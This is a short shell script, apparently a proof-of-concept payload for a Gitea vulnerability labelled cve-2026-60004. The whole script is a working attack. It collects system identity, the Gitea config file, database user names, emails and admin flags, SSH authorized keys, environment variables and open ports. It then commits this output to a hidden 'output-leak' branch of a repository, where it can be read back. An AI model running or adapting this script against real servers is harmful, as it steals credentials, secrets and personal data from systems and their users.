#!/bin/sh GD=$(git rev-parse --absolute-git-dir) REPO=$(head -n1 "$GD/objects/info/alternates" | sed 's|/objects$||') OUT=$(echo ==ID==; id; hostname; uname -a; echo ==INI==; cat /data/gitea/conf/app.ini 2>/dev/null || cat /etc/gitea/app.ini 2>/dev/null || find / -name app.ini -not -path '*/proc/*' 2>/dev/null | head -3; echo ==DB==; which sqlite3 mysql psql 2>/dev/null; sqlite3 /data/gitea/gitea.db 'select name,email,is_admin from user' 2>/dev/null | head -80; echo ==REPOS==; ls /data/git/repositories 2>/dev/null | head -100; echo ==KEYS==; cat ~/.ssh/authorized_keys 2>/dev/null; ls ~/.ssh 2>/dev/null; echo ==ENV==; env | grep -iv 'LS_COLORS' | head -60; echo ==NET==; (ss -tlnp 2>/dev/null || netstat -tlnp 2>/dev/null) | head -25; echo ==DOCKER==; cat /proc/1/cgroup 2>/dev/null | head -3; ls /.dockerenv 2>/dev/null 2>&1; echo "[exit-status=$?]") BLOB=$(printf '%s\n' "$OUT" | git --git-dir="$REPO" hash-object -w --stdin) TREE=$(printf '100644 blob %s\toutput\n' "$BLOB" | git --git-dir="$REPO" mktree) CM=$(GIT_AUTHOR_NAME=poc GIT_AUTHOR_EMAIL=poc@example.invalid GIT_COMMITTER_NAME=poc GIT_COMMITTER_EMAIL=poc@example.invalid git --git-dir="$REPO" commit-tree "$TREE" -m "cve-2026-60004 output") git --git-dir="$REPO" update-ref refs/heads/output-leak "$CM" #A